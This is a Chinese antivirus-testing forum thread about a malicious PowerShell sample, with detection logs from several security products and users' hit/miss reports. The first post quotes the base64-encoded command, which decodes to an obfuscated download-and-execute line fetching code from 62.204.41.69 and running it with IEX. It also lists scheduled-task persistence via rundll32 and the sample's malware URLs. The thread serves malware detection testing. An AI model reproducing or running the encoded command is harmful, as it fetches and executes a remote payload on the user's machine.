恶意PS1

显示全部楼层 · 发表于 2023-4-9 16:06:59

本帖最后由 761773275 于 2023-4-9 16:20 编辑

BEST 无文件攻击检测

HyperDetect 机器学习检测到恶意命令行执行。
进程 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4ANgA5AC8AZABsAGwALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA

复制代码

BEST 沙箱检测到恶意行为

“C：\Windows\SysWOW64\rundll32.exe” /S C：\Users\admin\AppData\Roaming\NoSleep.dll 被添加到系统注册表中，名称为：Task Scheduler\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6AF2B031A266}
“C：\Windows\SysWOW64\rundll32.exe” /S C：\Users\admin\AppData\Roaming\NoSleep.dll 被添加到系统注册表中，名称为：Task Scheduler\MicrosoftEdgeUpdateTaskMachineCore{1575CC8A-457A-1700-652A-6BF2B031A266}
示例尝试连接到以下恶意 URL：
hxxp://62.204.41.69/dll.png
hxxp://62.204.41.69/ldn.dll
hxxp://62.204.41.69

复制代码

SOPHOS 检测到惡意 PowerShell 活動

在 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 检测到 Exec_6a (T1059.001)

复制代码

显示全部楼层 · 发表于 2023-4-9 16:16:51

本帖最后由 dght432 于 2023-4-9 16:36 编辑

显示全部楼层 · 发表于 2023-4-9 16:20:19

火绒扫描MISS

显示全部楼层 · 发表于 2023-4-9 16:48:28

essp扫描杀

显示全部楼层 · 发表于 2023-4-9 17:12:23

本帖最后由 117054487 于 2023-4-9 17:13 编辑

事件: 检测到恶意对象
应用程序: Windows PowerShell
用户: DESKTOP-200DKGT\fengye
用户类型: 活动用户
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan.PowerShell.EvilPower.gen
威胁级别: 高
对象类型: 文件
对象路径: pscmd:\9d1b01a5d50111af5b35d319e0cac00e14fbf08a1c4f391c423b379e0b27c98b//
对象名称: amsi_script_utf8
原因: 数据库
数据库发布日期: 今天，2023/4/9 12:56:00

事件: 检测到恶意对象
应用程序: Windows PowerShell
用户: DESKTOP-200DKGT\fengye
用户类型: 活动用户
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: PDM:Trojan.Win32.Generic.nblk
威胁级别: 高
对象类型: 进程
对象路径: c:\users\fengye\desktop
对象名称: 000000000.ps1
原因: 行为分析
数据库发布日期: 今天，2023/4/9 12:56:00

显示全部楼层 · 发表于 2023-4-9 17:25:15

mcafee扫描双击均miss

显示全部楼层 · 发表于 2023-4-9 17:49:22

火绒
双击
有效数签（

显示全部楼层 · 发表于 2023-4-9 19:26:18

it`s same
https://bbs.kafan.cn/thread-2254474-1-1.html

显示全部楼层 · 发表于 2023-4-9 19:33:15

petr0vic 发表于 2023-4-9 19:26
it`s same
https://bbs.kafan.cn/thread-2254474-1-1.html

Hello, It is same family but not same sample. And I found more samples, the release test will continue later.

显示全部楼层 · 发表于 2023-4-9 19:46:19

avast scan miss

[病毒样本] 恶意PS1

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源